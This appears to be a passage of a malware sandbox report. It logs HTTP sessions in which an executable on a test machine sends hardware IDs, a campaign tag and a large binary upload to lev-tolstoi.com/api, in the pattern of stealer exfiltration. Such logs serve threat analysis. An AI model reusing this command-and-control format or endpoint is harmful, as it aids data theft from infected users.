2024-12-23 08:00:18 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U070AFP0TCUK0I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: lev-tolstoi.com
2024-12-23 08:00:18 UTC	12835	OUT	Data Raw: 2d 2d 55 30 37 30 41 46 50 30 54 43 55 4b 30 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 36 41 30 39 34 44 43 31 44 37 33 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 30 37 30 41 46 50 30 54 43 55 4b 30 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 30 37 30 41 46 50 30 54 43 55 4b 30 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 30 37 30 41 46 50 30 Data Ascii: --U070AFP0TCUK0IContent-Disposition: form-data; name="hwid"1266A094DC1D7341AC8923850305D13E--U070AFP0TCUK0IContent-Disposition: form-data; name="pid"2--U070AFP0TCUK0IContent-Disposition: form-data; name="lid"PsFKDg--pablo--U070AFP0
2024-12-23 08:00:19 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=use08nqv973ql39u905u5kvkp4; expires=Fri, 18 Apr 2025 01:46:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P7pmXClX1P3ZDzTRW0A%2BmsTv68dj9qHiQqQU6h6G4gRY56aLVUZE0j4hLIxI0DvCk09WYXswe6Ve9BF7nTX6445RePhjYLsdLoy7E0HNfBoLC8DbIMslFVBpJgN7q%2B7Xo%2BU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d1341e18c340-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1501&min_rtt=1495&rtt_var=573&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2834&recv_bytes=13770&delivery_rate=1889967&cwnd=146&unsent_bytes=0&cid=fa62b15803e0428c&ts=936&x=0"
2024-12-23 08:00:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 08:00:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49748	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:21 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KW5VUXN1XBOKEO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: lev-tolstoi.com
2024-12-23 08:00:21 UTC	15081	OUT	Data Raw: 2d 2d 4b 57 35 56 55 58 4e 31 58 42 4f 4b 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 36 41 30 39 34 44 43 31 44 37 33 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 57 35 56 55 58 4e 31 58 42 4f 4b 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 57 35 56 55 58 4e 31 58 42 4f 4b 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4b 57 35 56 55 58 4e 31 Data Ascii: --KW5VUXN1XBOKEOContent-Disposition: form-data; name="hwid"1266A094DC1D7341AC8923850305D13E--KW5VUXN1XBOKEOContent-Disposition: form-data; name="pid"2--KW5VUXN1XBOKEOContent-Disposition: form-data; name="lid"PsFKDg--pablo--KW5VUXN1
2024-12-23 08:00:22 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u4889hl8n3j42j010665rvc7e5; expires=Fri, 18 Apr 2025 01:47:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TmvjuZH%2B4JUE5pqB8l07z40PdjbH73SLg9DmOFE%2F9Hh%2F5BunOr5diLBEA%2FeFXReXSPZmAlXDy5tPxrSM%2BCcG%2BKc%2B6zpshDYrCx83Zg54fAyU%2B5jxniXgOA4NhK7MFJl9Qzc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d145ca15422b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1575&rtt_var=604&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16016&delivery_rate=1790312&cwnd=220&unsent_bytes=0&cid=a054c230232c1e53&ts=850&x=0"
2024-12-23 08:00:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 08:00:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49762	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:24 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DX30IFQIT2P391Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19945 Host: lev-tolstoi.com
2024-12-23 08:00:24 UTC	15331	OUT	Data Raw: 2d 2d 44 58 33 30 49 46 51 49 54 32 50 33 39 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 36 41 30 39 34 44 43 31 44 37 33 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 58 33 30 49 46 51 49 54 32 50 33 39 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 44 58 33 30 49 46 51 49 54 32 50 33 39 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 44 58 33 30 49 Data Ascii: --DX30IFQIT2P391YContent-Disposition: form-data; name="hwid"1266A094DC1D7341AC8923850305D13E--DX30IFQIT2P391YContent-Disposition: form-data; name="pid"3--DX30IFQIT2P391YContent-Disposition: form-data; name="lid"PsFKDg--pablo--DX30I
2024-12-23 08:00:24 UTC	4614	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-12-23 08:00:25 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8p8umm5cr3mbc8dc5q6ittffan; expires=Fri, 18 Apr 2025 01:47:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BcIwuybMtkdnEjX%2FzwSpxLwWtJpJg6B9Dw1exdf%2BgvbYKv9SJQqNjbNLCnlAiLCQC1BPXYHHbToBWBPPdbTjQHpzWUYjRVy7RMpudZvPUBlamjE3IW4z4ND4vlUoyUIMo%2Fo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d15b1c970f6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1469&min_rtt=1459&rtt_var=568&sent=14&recv=23&lost=0&retrans=0&sent_bytes=2834&recv_bytes=20903&delivery_rate=1893644&cwnd=180&unsent_bytes=0&cid=6d0ce691532bb2a6&ts=958&x=0"
2024-12-23 08:00:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 08:00:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49769	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:27 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IDFEWNNYDJA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1193 Host: lev-tolstoi.com
2024-12-23 08:00:27 UTC	1193	OUT	Data Raw: 2d 2d 49 44 46 45 57 4e 4e 59 44 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 36 41 30 39 34 44 43 31 44 37 33 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 44 46 45 57 4e 4e 59 44 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 44 46 45 57 4e 4e 59 44 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 44 46 45 57 4e 4e 59 44 4a 41 0d 0a 43 6f 6e 74 Data Ascii: --IDFEWNNYDJAContent-Disposition: form-data; name="hwid"1266A094DC1D7341AC8923850305D13E--IDFEWNNYDJAContent-Disposition: form-data; name="pid"1--IDFEWNNYDJAContent-Disposition: form-data; name="lid"PsFKDg--pablo--IDFEWNNYDJACont
2024-12-23 08:00:28 UTC	1134	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 08:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1v4cfj60o36717b8dd1rre79k9; expires=Fri, 18 Apr 2025 01:47:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gqQw%2BUnMzklsC0mTnZ%2BTURmJ4oOW3%2B5GeenGK87fa8Ae1FbbOui8zLc5B7XueUoVF7Upges4tcbwY3QFcI64g%2FNhgI5%2FCBDSgOU3D%2BnXF8%2FXFYw8FYBCKqoRKk92ziO%2BiZw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66d16ccb8b3320-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&min_rtt=1798&rtt_var=700&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2102&delivery_rate=1533613&cwnd=252&unsent_bytes=0&cid=0586c09377446f4b&ts=766&x=0"
2024-12-23 08:00:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 08:00:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49776	104.21.66.86	443	4060	C:\Users\user\Desktop\BVGvbpplT8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 08:00:29 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UVKQ2556L6N22 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572166 Host: lev-tolstoi.com
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: 2d 2d 55 56 4b 51 32 35 35 36 4c 36 4e 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 32 36 36 41 30 39 34 44 43 31 44 37 33 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 55 56 4b 51 32 35 35 36 4c 36 4e 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 56 4b 51 32 35 35 36 4c 36 4e 32 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 55 56 4b 51 32 35 35 36 4c 36 4e Data Ascii: --UVKQ2556L6N22Content-Disposition: form-data; name="hwid"1266A094DC1D7341AC8923850305D13E--UVKQ2556L6N22Content-Disposition: form-data; name="pid"1--UVKQ2556L6N22Content-Disposition: form-data; name="lid"PsFKDg--pablo--UVKQ2556L6N
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: 1c 3a 11 fb b1 4f b6 4f 08 9c 4d 4a 77 f2 c0 81 66 a5 8d 20 53 74 ac 44 96 53 39 a4 a8 0e 53 25 f8 a5 da c8 e4 fb 98 1a 1e ff 09 21 a5 dd b2 3e ce 5c 28 66 14 4a 78 b1 3c a5 ce 9b de 7f 8f 5a 6d a1 a0 35 0c cb f7 96 02 1b 77 de cf d2 32 4c f1 29 cc 3c 25 6d b3 39 d0 4d 89 d5 e0 2c ca 25 ad 2a d5 8e be c9 f0 e5 e4 0b 91 49 34 c4 9f 08 6e c8 ae 7e bb 09 1b 4a 14 3e 0d 37 c2 c2 fe bf 20 f6 e6 47 51 e5 cf 6a 35 03 22 79 20 71 69 8c 39 f9 f9 12 df 57 a5 a4 2e 2c b7 e1 83 fa 05 24 a0 a1 52 bc d0 af 24 b4 a0 96 81 d2 c9 c9 2e f1 7b 7d 21 0c d9 df b6 8b d9 34 ad d0 de 7a c0 9f d6 c7 cc a9 71 53 0a 39 cb 8a 6c b1 8d 25 93 f6 07 ea bc cf d3 9a 63 ca ee e0 2b 64 15 43 46 2c 39 38 b1 65 df 08 5d 1a 22 3b c2 eb dc 5a af 49 5c 32 12 f4 b7 a3 a2 d4 c1 c4 b3 3f 40 f7 bb Data Ascii: :OOMJwf StDS9S%!>\(fJx<Zm5w2L)<%m9M,%*I4n~J>7 GQj5"y qi9W.,$R$.{}!4zqS9l%c+dCF,98e]";ZI\2?@
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: 53 8b 96 da bc 14 4f ed 1d 81 5c 68 f2 4b b5 bb 3b eb 75 b1 b5 52 44 e5 e8 9f ed ff 2f 3c 6c 3e 53 88 54 ad bb bc ab b3 9a ee dc 22 a6 f9 67 53 d9 a5 d3 53 2a 47 8c 09 84 1d 5e ef b5 12 48 2b 69 43 77 03 6f f7 d3 e3 14 04 93 ef 42 46 1a 28 d5 42 b5 4e b7 87 bd 66 87 a2 03 8a 82 a3 62 82 9c 11 c8 6a 12 a6 19 61 d9 14 5e 4a c0 b0 24 7b 1e b5 ad aa 25 df ad 33 19 44 fa 37 e1 6a a3 5d e6 f3 78 ee e3 0a 51 08 59 a5 db 3d cf a4 08 10 c6 94 1d e9 51 a1 71 eb 6f 3e 7b 6f 09 2b 53 5f fb 1c ea 83 de 3e 5a bd 43 b1 74 33 69 9b 4a 14 7c 63 52 65 38 c2 3e 37 8c 65 62 b7 7e 8f 6e fd a3 29 c1 69 07 6a ab ba ed 96 66 fe f8 a4 de 90 f3 fb bd 81 32 a3 6b 1e 81 b3 6f df 57 fe 79 50 c2 e6 4c 2f 7f 5e 39 59 67 50 c3 a1 ec f9 45 10 b4 92 56 eb 63 d7 56 de 9e 46 d9 dc 12 38 f3 Data Ascii: SO\hK;uRD/<l>ST"gSS*G^H+iCwoBF(BNfbja^J${%3D7j]xQY=Qqo>{o+S_>ZCt3iJ\|cRe8>7eb~n)ijf2koWyPL/^9YgPEVcVF8
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: e2 07 9f 4f d2 53 97 0a ff ac 41 19 5d c5 1e 38 ca cb 43 3a c7 d2 9a 97 49 8b e7 6f 4c ec 8c 3f 9e ab d7 78 9e 1b 74 d2 22 47 f8 1f 2a 71 5d 69 b4 19 13 d0 f1 d2 64 42 36 dc 8d 66 50 38 3a 56 03 b3 5f 61 3c 7a 75 29 c0 b1 be 49 cd 30 60 9a 9b 3b e4 ec b4 fb 23 61 56 f6 aa f2 28 af 8c a9 d8 4c a2 6a ac 78 71 58 aa 8b 9d 1e dc 66 37 e5 de 11 87 52 01 f0 ce 94 a7 a9 f6 79 5f 48 47 f0 e6 3a 8d 2d de c1 32 5f 4c 18 f3 dc 59 f9 f0 d3 b5 08 2f 2e 35 c8 73 52 95 01 4e 7b d5 f6 2d bd 5d c3 76 85 86 c6 f3 82 1d 79 f2 9b ac 57 62 1f 10 77 0b ce 48 91 0f 1d 41 51 8f 4b 41 e1 1b eb 03 cd 5d f1 af 0f 92 69 92 9b 71 48 f0 ae 23 84 20 06 98 67 94 ef a5 69 b1 f4 79 7d 95 cf 7e d0 47 47 76 9c a4 61 c1 67 c1 d7 7f 79 8d ba 6d a4 80 eb 45 a3 74 7a 0f ad 70 95 2e e0 fa f7 78 Data Ascii: OSA]8C:IoL?xt"G*q]idB6fP8:V_a<zu)I0`;#aV(LjxqXf7Ry_HG:-2_LY/.5sRN{-]vyWbwHAQKA]iqH# giy}~GGvagymEtzp.x
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: 9e 08 f1 7b a2 20 00 bb 6f d6 46 14 d7 f6 34 89 f0 c8 51 fc 5b 97 84 5f 94 19 91 03 b7 21 27 3c 38 30 22 f0 93 5b e8 c3 75 6f ed 68 e2 4c de e5 3b d9 a0 26 70 64 61 e8 53 46 10 24 41 98 d0 ad a8 3a 1b 6f 19 d9 89 34 9c c4 aa a0 c2 ef 13 26 9f 73 69 42 37 b0 dd a1 7c ec b1 89 3f d2 50 e7 b0 de c5 75 84 f7 9e f4 ba e8 ff bd f1 d7 21 35 0b 83 26 fd a9 76 2f 90 7e fe 86 98 2d 22 7d 63 43 59 56 79 74 0a f6 4c ce 2f d6 1d 53 c5 f1 09 1f 7f f8 4e f8 c4 76 2d d9 98 ee 77 a2 52 63 0e 61 a2 7c 42 25 e8 a7 b1 24 90 3c 2e 9a f0 ff 0f d6 ff 2d 66 f4 36 f0 ae 18 e9 b6 35 89 fc 23 a1 a5 a6 fc 08 32 59 8b 9d 97 06 bf 36 d0 fd 85 1e 09 59 3e d8 c8 c3 83 f5 15 27 27 e4 02 19 3b b3 7f 24 02 00 3e 8e 0a 38 95 fb 17 24 e4 c7 b3 e5 b9 ce 42 e9 77 a6 6e 5f aa cc e8 a2 3f 6a 12 Data Ascii: { oF4Q[_!'<80"[uohL;&pdaSF$A:o4&siB7\|?Pu!5&v/~-"}cCYVytL/SNv-wRca\|B%$<.-f65#2Y6Y>'';$>8$Bwn_?j
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: c6 ee c3 76 7c 8f 0f d1 7b b2 9d 1c 3a 53 3b a9 f3 37 44 80 d5 58 9a 86 c5 4b 2b 84 6e 0b 6f 59 22 aa 2b ee 0c ac b0 76 e8 c4 fd a4 5a 17 9b 16 47 44 c5 84 46 0a 73 5e fd 4b 6c 23 0e 35 9a 8e 34 24 8a 7d c8 ba 1d 6d 96 04 3a a0 89 82 8b a2 e5 b7 f1 eb d1 c4 d4 8f f2 96 38 f8 9d 20 9e 31 33 ce 87 50 23 12 fb 50 24 25 40 3f 66 f0 bf 48 bb fb df c6 4a 4d 12 c4 7e ef aa c3 8c 90 d8 a1 c3 44 4b 30 74 8c 00 e0 68 00 9a 22 7a 05 cc 3f 6a 6f f7 d4 79 70 1c 38 bd b8 29 e9 d4 af 8b a0 6d 23 29 34 35 88 0b 75 dd 3d c4 08 0b 12 1c 04 f7 eb 28 12 80 c1 1b bd 78 6b be 55 06 4c 5c 58 d7 66 b5 0b 4f d2 70 28 29 cc 5f 98 68 10 e5 b0 40 d9 91 6a 61 ee 5e 7e d6 13 ff 97 8c d2 75 e7 ee b9 3f 4a 35 23 07 7f dd d1 16 ba e1 d1 1e 54 18 7c f1 19 44 9b ea 3d 9b b4 99 c4 06 67 ef Data Ascii: v\|{:S;7DXK+noY"+vZGDFs^Kl#54$}m:8 13P#P$%@?fHJM~DK0th"z?joyp8)m#)45u=(xkUL\XfOp()_h@ja^~u?J5#T\|D=g
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: a9 4c 89 71 02 7e e1 68 79 d3 59 09 25 b9 31 b7 51 95 77 d7 d2 b2 65 53 88 e0 2b 94 bf 04 a0 ef e5 36 c1 99 48 42 5c 32 2f f7 fc 9d 76 9e 7c 7e 3b 99 73 fa fe 46 7c 56 d2 84 6e 35 2b 2b 3e eb 75 32 55 04 e4 7d fd 1e 91 3e 6c 63 40 1e fd 00 87 f8 e0 cb 8e 31 b5 d6 69 17 09 56 f7 9b 83 f0 92 0e e5 cf 92 aa 63 43 13 b0 a3 aa c0 7e b5 e4 4e 7d 85 e0 05 a0 9a c6 64 e5 cc 30 af f2 49 dd 7a b7 52 c7 fb dd 44 79 80 6f c8 4d a1 12 af 9c 27 c3 d1 7b 94 5f 89 82 47 06 33 ab 75 2d 48 ef 31 b4 f8 eb 5b 7b 8d 71 58 a8 75 d8 ea 6c 90 1e 9b 25 f8 9c c5 d2 e0 7d 58 24 6d e4 e6 af ad 09 a4 f6 eb d6 e8 f2 53 66 39 ee fd dd d3 4a 8f 71 b7 88 43 eb ec 2c 85 55 77 61 41 e6 46 0e 3a ba 3e 51 c9 ae f0 9f 7f fe 75 03 ee 07 01 ef 22 04 a6 41 8d 07 b5 06 c9 b3 af 8f fc c9 a8 d1 31 Data Ascii: Lq~hyY%1QweS+6HB\2/v\|~;sF\|Vn5++>u2U}>lc@1iVcC~N}d0IzRDyoM'{_G3u-H1[{qXul%}X$mSf9JqC,UwaAF:>Qu"A1
2024-12-23 08:00:29 UTC	15331	OUT	Data Raw: 9c da 98 07 a1 9c 64 c1 dc fd d2 80 d2 60 76 4b b7 73 84 d9 38 d4 90 f8 08 c9 65 af 36 13 cb a2 d9 e7 7e 00 fc 5c b5 c6 41 35 aa 8f 7f d4 4b 76 bb f2 f2 ae 84 0c 28 43 a0 04 53 d2 ad c2 b2 86 48 ac 47 77 24 35 d8 27 04 66 8b aa 8f b2 0c 0d ae be 54 7b 80 a4 8a 74 be da c2 16 56 ef df 18 8a 1d d3 3a ac 3b 36 24 4c 90 a2 ef 93 be 0b 65 10 37 5e 53 04 26 5c 05 c6 14 b0 9c dc c2 21 ed d1 8e 9a d3 c1 4e 3a 44 3c d0 d4 10 fe 8b 97 82 3f 3d 28 f8 24 92 6f 8e c8 09 53 de a4 07 b1 cd d9 e9 cb 21 31 35 ef 53 25 9a 51 58 c2 63 6a a5 6a 68 f3 2d ad a7 11 c5 7a 91 82 6d 41 df 7c 3e 04 2d 72 02 4f 6d 9c fd 0f a9 59 a6 b0 51 5e 4c a4 4e b7 8e 26 dd ca fe dd 62 5d 38 bf 62 b9 77 e8 7a be a1 4e 18 e3 cb 23 3e cd bd 25 98 43 4a b6 ff 98 72 b5 54 18 44 ee b3 18 3e c0 0f 7a Data Ascii: d`vKs8e6~\A5Kv(CSHGw$5'fT{tV:;6$Le7^S&\!N:D<?=($oS!15S%QXcjjh-zmA\|>-rOmYQ^LN&b]8bwzN#>%CJrTD>z
